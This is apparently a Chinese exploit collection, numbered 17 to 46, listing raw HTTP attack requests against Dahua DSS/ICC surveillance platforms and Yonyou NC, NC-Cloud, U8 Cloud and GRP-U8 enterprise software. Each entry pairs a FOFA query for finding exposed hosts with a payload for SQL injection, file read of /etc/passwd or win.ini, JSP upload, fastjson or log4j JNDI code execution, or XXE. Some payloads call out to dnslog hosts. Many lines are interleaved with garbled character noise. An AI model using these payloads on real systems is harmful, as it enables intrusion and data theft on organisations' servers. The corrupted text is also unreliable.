  Q! t6 h" i! w4 o, O/ ^, i5 b# a& a" aGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
) M+ s  z, y9 g$ e9 r( GUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
9 [( r2 b3 d* j3 D" U# hAccept-Language: en
& |) h4 f, d/ I9 n& xAccept-Encoding: gzip

9 z* x  e- F/ v$ o
17. 大华 DSS itcBulletin SQL 注入
" J' z  E3 A) t9 ^, _FOFA：app="dahua-DSS"
+ w( j6 N% U7 j% i! [  J. v2 CPOST /portal/services/itcBulletin?wsdl HTTP/1.1
8 D* X$ n% x7 F( R! t! {Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 |" s# i/ z: d' B4 \6 M, hConnection: close
- O. U- z/ ~5 d2 tContent-Length: 345
Accept-Encoding: gzip
. N' T4 S6 U) Z7 d* y4 b9 L
- g: }2 r+ j  H& O6 V- T+ ~0 q; D<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
1 {, S5 b; N; P( C# a/ A6 }7 t1 b    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
  d( p' {/ R  y      </netMarkings>
: j7 m% W* _3 {    </ns1:deleteBulletin>
  </s11:Body>
/ k4 X7 U' K) X! U0 u</s11:Envelope>
# X  I: a: g  o9 F& R# @0 q

! _( t! k5 }& i( m, i0 c  |18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
+ e$ n% |" @+ p1 dHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

: ^7 n- ^. Y( q& R

1 d) {  d. _& Q- R( j3 }  b9 J3 |19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
0 Z; N3 P0 @9 Y$ hUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
  b& b( j# K1 [/ K( e: lAccept: */*
0 {+ C: n+ X5 G( `& q2 g5 ^Connection: keep-alive


20. 大华ICC智能物联综合管理平台任意文件读取
/ `; L% H2 H! q3 R+ N( {% B8 XFOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
  R1 Z0 `( n) P! A/ t9 r! p" ?Connection: close
( G( o: W# z, V! }2 W6 @Accept: */*
) M5 o7 L7 _$ g& S6 kAccept-Language: en
Accept-Encoding: gzip
2 q! y$ o$ g. p& W* Z8 s3 ?1 _
0 D: N; l$ j8 K& l9 s- r2 R' f
+ b6 j. c1 P6 h! k, V2 ]8 i0 F+ h- N21. 大华ICC智能物联综合管理平台random远程代码执行
# K6 y3 N6 e( n. H( RFOFA：icon_hash="-1935899595"
2 U) U' B4 t' K2 U0 T7 QPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
$ P5 Y3 O1 M3 c9 X7 BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' r1 X! j" A2 o+ oContent-Length: 161
. q; q7 ]# ]5 |Accept-Encoding: gzip
Connection: close
0 }- E2 E8 J% hContent-Type: application/json;charset=utf-8
! P! T. @6 @) b; ^# o* K
{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
- c, M# G! P) M* Q/ z! P  }""
  n& F/ s% V- V! a7 B: a/ F' k}
# _4 L5 [9 L, v" ^6 u7 j

* w, I# M3 j: ?; e, X" ?. r. t22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
% |( [* _1 {9 [# J8 pPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
3 j) f" y3 n; lHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

{
$ {8 \# k$ H  M6 x"loginName":"${jndi:ldap://dnslog}"
}
3 |1 Y3 D! I" @( \& {4 `! e9 e
, b0 w7 [) V* I1 k
2 R' ]$ l& |$ \/ N! ~4 w
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
& x' g+ H) W; gPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
1 a. ^) I/ D" u5 X* wConnection: close
- t/ S" N9 c/ h, B7 U/ l
{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
0 q- T7 z' R# ^       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
}

$ o( q: ?+ T/ X$ p* E& |7 V
24. 用友NC 6.5 accept.jsp任意文件上传
  I$ E. V! E& uFOFA：icon_hash="1085941792"
' C( H0 ^& Y, i# ]( ]- PPOST /aim/equipmap/accept.jsp HTTP/1.1
- X! b$ B+ o  r1 f2 g  r4 h8 AHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
$ r$ S4 {( D1 wConnection: close
) R: l7 o" Q. |& V( B- SContent-Length: 449
Accept: */*
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
# v) p8 B* N9 aContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
, v& p0 T8 v0 y, X, R$ A7 r+ o. _Content-Type: text/plain

2 ]' w! o  Y1 w$ C/ A8 U  b<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
' \9 |! q  [) r- BContent-Disposition: form-data; name="fname"

\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
9 Q- Q6 m) ~& m% N- @7 H. |

5 S7 U* r9 Z" L' `, y- ?# J8 v25. 用友NC registerServlet JNDI 远程代码执行
' A9 x/ K# [* U$ O* o" Q/ |FOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
9 {* F5 l3 p/ ?3 wHost: your-ip
, K4 X* e; K/ s  mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
2 R! ?. k1 s4 F! J( NAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

7 O3 |. m) H0 H6 k1 |; ftype=1&dsname=ldap://dnslog
  {7 |+ B: D8 e" }


26. 用友NC linkVoucher SQL注入
) F$ B0 E3 L6 S8 K2 Q3 AFOFA：app="用友-UFIDA-NC"
4 j+ s' T* w$ M. q! c7 xGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
3 Z6 ~+ o7 @1 Z& b, T2 F7 n& A; KAccept-Encoding: gzip, deflate
Accept: */*
- ?+ S* P0 K! G. p# aConnection: keep-alive
) F, F$ M1 Q* J4 W$ Z2 g
5 c0 D% k0 ?6 e) @- U) O
# A% m% H8 ~2 u8 f27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
3 m2 f  o' G8 @  h" i9 Y$ D6 N% lGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
& d. s5 f% y2 @  ]' GHost: your-ip
1 y% q0 R! i# D3 Z4 J; H& aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
Connection: close
" ?3 k, Q! f3 mContent-Type: text/xml; charset=utf-8

8 v* K) i2 ?* j! |4 |
0 l) i0 y  ]) n' @# ^28. 用友NC grouptemplet 任意文件上传
9 l$ C" P) d9 b# m# }0 j" }) S9 iFOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
0 U" U6 l: p* D( t( v' o; l7 sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
# [* H( \% {4 E1 i- ~, Z$ aConnection: close
6 e+ z4 @2 _4 c$ KContent-Length: 268
$ ?' E! ~" B1 Y. jContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
3 T$ D8 H1 C5 A9 e* m: @Accept-Encoding: gzip
1 |& d1 c# E0 `* ]
2 c- M4 `. d8 B* }7 c/ T/ M------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
6 @2 J+ P: P: h3 T" e1 EContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
# V2 T2 `+ r$ o3 ], QContent-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
% v1 y/ o: ~1 U
( R" Y; P& c- b* O
4 a8 ?  f" x# {& |/uapim/static/pages/nc/head.jsp

; Y" @' T3 l. l, _& A' o- H6 s29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" c/ S' I4 F1 ?; ~Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
! x- Q) u: S  d! }Accept: */*
4 y- f) N  B! J( H) C5 c1 ]6 ZConnection: keep-alive
# @" x7 f- j, F* ^% q% T& V

6 H8 Q) X% k$ D- N* ~: |6 V' R. R30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
. }% m4 N6 l5 m- ?8 v* t4 D$ F0 a  iHost: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
3 n8 T- ]! w5 b# ?& K7 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
. K2 B- V- D- o- e$ q; BConnection: close
$ x7 P$ b$ R0 Y* p+ _- A) z
% h8 i% j4 O$ Z------WebKitFormBoundaryH970hbttBhoCyj9V
+ F2 Z$ Z, V/ e7 K$ G+ QContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
8 W; b/ L! D# k3 J* KContent-Type: image/jpeg
' z5 _$ B. c* G4 a/ x5 w8 w------WebKitFormBoundaryH970hbttBhoCyj9V--
% d4 ]9 |3 P" r# u
0 Z! _5 ]/ P0 y: d  t
! c  \# g( i, ?4 s# Z31. 用友NC runStateServlet SQL注入
1 Q1 A5 X8 f; M/ Z. t9 l& g3 Y& ]4 Sversion<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
1 ~; o  |2 H; P3 M$ A# z' W
" I/ ~. w7 t/ ~0 A# _  {, v
32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
; Y! |: e& z, m! d6 q+ [GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 ?! p: N, c2 {( Y4 aContent-Type: application/x-www-form-urlencoded
! \7 F* [3 w  W$ |5 Q- [Accept-Encoding: gzip, deflate
Accept: */*
3 a6 B8 A- F7 Q+ ?* o4 ~Connection: keep-alive
7 k3 W# r9 N" Y$ t
( a; a$ Y# P2 D, }9 v+ |7 r
  u; g4 I  }" I  U, U$ S33. 用友NC downTax/download SQL注入
: s% e0 A* ~* g2 q2 R9 w. }version：NC6.5FOFA：app="用友-UFIDA-NC"
/ Q# u) [+ v& [5 H1 _2 {GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
0 x. J3 S' f" c7 g) `0 s$ hAccept: */*
0 v1 W) n) Z) b1 v! p. sConnection: keep-alive
8 u& p: @2 F( N  g  ~, ~* l
" p' t; f0 \7 s
7 e4 [% p$ ]* Q9 \# j9 f$ T2 l34. 用友NC warningDetailInfo接口SQL注入
- [4 ?; O. z) N/ E7 TFOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
7 W4 t" k- g& i3 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
9 Y; l4 ~( l* `0 bAccept: */*
5 z/ O9 p- N; cConnection: keep-alive

* C( ^* r9 M$ y) @
) d4 D2 o, j- f) N35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
: H' \! I* u2 x0 M' l1 K- V/ WPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
+ o, V- j) q, E& n" KHost: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
8 D' Q1 x5 f4 CConnection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
0 ^9 M& L; O5 a* B' E  [Content-Length: 190
. i6 F- I& w% y- p. d2 VContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
8 q0 M' @4 `, `; u( d* t8 z, H; A
, @, x) M$ F8 B5 k3 B--fd28cb44e829ed1c197ec3bc71748df0
6 e. S  [+ w' u6 i! W. vContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
) }# k$ z  u" t  Q- i# J
<%out.println(1111*1111);%>
1 {. z" b& f. @, D3 B, x--fd28cb44e829ed1c197ec3bc71748df0--
( A0 Z+ Q2 I0 q: P9 J/ m
6 s8 c0 J5 D1 [
8 J/ N. t) l+ a( t' c& y- g# v36. 用友NC-Cloud soapFormat XXE
: s% s* t7 i  Y6 ]FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
7 \. C. M+ I. h& Z: s6 eHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, v0 Q- Q- O& X: [0 \! R+ BAccept-Encoding: gzip, deflate
% C( `& B( i2 b7 I+ \Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

! X! K1 p% Y4 o# bmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
9 ?/ v# ^" E  S9 e, |9 [4 c

37. 用友NC-Cloud IUpdateService XXE
8 N1 M0 q3 B5 m8 oFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
% w" U. P! n6 h  i9 w8 V( j- n0 uPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
% O$ F2 E" U9 i5 [4 L' z( IHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
; Q+ _0 A( w: b7 }) ]Accept-Language: zh-CN,zh;q=0.9
; a0 w* C" B/ ]" P$ a% h  {Connection: close
: m* _2 q4 c) n- ?/ ~7 d) pContent-Type: text/xml;charset=UTF-8
3 {/ O4 J2 t  G) k( ySOAPAction: urn:getResult
4 Y* w; k) Q6 P  I. ]) _" NUpgrade-Insecure-Requests: 1

" [, b( G; ~( i# X& x' t<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
( g9 G* M- G* l( {. t8 x<soapenv:Header/>
<soapenv:Body>
<iup:getResult>
<!--type: string-->
4 K' E. x6 v" ]$ e3 T* B9 s<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
: W, V1 }0 b* j; @% p</soapenv:Body>
) r6 C# u0 N- ?; l+ r  B* i8 m</soapenv:Envelope>
' z- a+ |- M! u4 G

. X% x* s, K& R; S: }7 c% `
38. 用友U8 Cloud smartweb2.RPC.d XXE
6 o% M) H$ o5 u7 }/ `FOFA：app="用友-U8-Cloud"
# z2 A% r. I2 p; q) o4 cPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
3 F0 t# |+ d9 zContent-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
2 x# H! m: I5 s9 I/ MAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
& m) g, v- ^/ Y4 |Connection: close
( l6 I! N$ b# ?$ Y! E! JContent-Type: application/x-www-form-urlencoded

2 E! C9 R7 y1 D. y; ]6 \. s__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
8 C/ u( L" A) i3 s

' {+ Q3 T  {! @0 ]: c39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
: T' M2 @3 d6 f! x. u. lPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
% T, K0 s6 c7 n5 HConnection: close
4 ?. e  c, u( `8 ^Content-Length: 85
Accept: */*
3 w! @) P5 C# k! fAccept-Language: en
Content-Type: application/x-www-form-urlencoded
+ G$ E  e/ P! IX-Forwarded-For: 127.0.0.1
( F6 O7 m7 v: u( V  s; l0 uAccept-Encoding: gzip
5 B' k& {# W+ h. p# f
' L" Q+ j, [3 s; s' R6 J, O1 n: p$ C! L$ iusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--

& H2 f- T% k9 @
+ \( n) D" N) O, Z, ^: A40. 用友U8-Cloud XChangeServlet XXE
7 c/ M. C+ \4 cFOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close

) r. E% s+ {7 {6 j8 p<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

$ L7 i2 A" A6 u. T# G1 l. ?' ]
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
- Z0 Z5 H, w% A# oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
Connection: close
. g" Z/ A  e3 |1 M  ?" y
; W" {% T4 ?- l& F* [- `! O) E( r9 S
42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
$ d! L/ j5 S( jPOST /u8qx/SmartUpload01.jsp HTTP/1.1
- w  c& x1 @) `4 r$ HHost: x.x.x.x
! G# O# ~# ^* v( N6 mContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
9 X) v* k3 E5 r% R" LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
* j8 t! j3 z2 O# K# |
# A" I6 L. U4 \% Q1 BPAYLOAD

- V4 Z& h; [- b2 o, F/ R
http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
; V0 @5 d9 r* L/ t6 f7 S
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
: R& Z4 L8 t$ f" ~% a2 s6 V2 B( bFOFA：app="用友-GRP-U8"
) q9 r8 J9 j% e) L9 w3 OPOST /services/userInfoWeb HTTP/1.1
Host: your-ip
! d8 x. X; k6 q$ CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
# `+ }4 u3 k$ Y) G- N7 uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; M  @9 D2 ?7 S) @& A% G" a; ]& ]Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
# B8 W1 C1 l. G' L0 i7 g5 i' V' R- gConnection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8
0 B( T# ^% }' E1 z
/ l' ]5 q) v( R6 }7 B. I! U<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
- _6 `* ?# ~& o/ Y* e2 ^$ B   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
6 h: X& ?% j8 @" \& H         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
* q1 ]2 c! |$ n- V+ P+ T, R* r      </ser:getUserNameById>
   </soapenv:Body>
% b( F1 I3 H, k0 y</soapenv:Envelope>

4 Y( l' q/ c# u+ b
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
/ L/ C* m+ |# P, \; r. G6 h# YFOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
# j* d4 j/ X: d" s" ~& n# R. v, \Host: your-ip
. M( u' W4 h) x/ J: {" ^1 TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 q4 F$ r* J6 t" Z5 ~. O5 gAccept-Encoding: gzip, deflate
4 T0 X( e$ T4 B' p- DAccept-Language: zh-CN,zh;q=0.9
Connection: close
5 z% B, k6 y  z- Z: m* d6 I

, E1 H) P# M, t5 B- M8 h' T45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
; `/ V* O; b: v3 oPOST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
- s$ [/ z& A/ @& R7 FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
5 t6 l) O8 @* @$ \Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 Q* `+ `4 c! e: h5 y5 KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 l! h  ]# i- S# dContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
, g3 H4 T( N- {( t0 |( W- W( Q& I
reqData=<?xml version="1.0"?>
2 p; H% m+ {0 _. n& i, @2 t<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

4 e1 Q, Y4 H7 U; d. h
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
' V4 ^% b1 \3 G7 K# d& A1 bGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
" |6 H% C: A6 c+ q5 g) `- f3 Y! \* yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
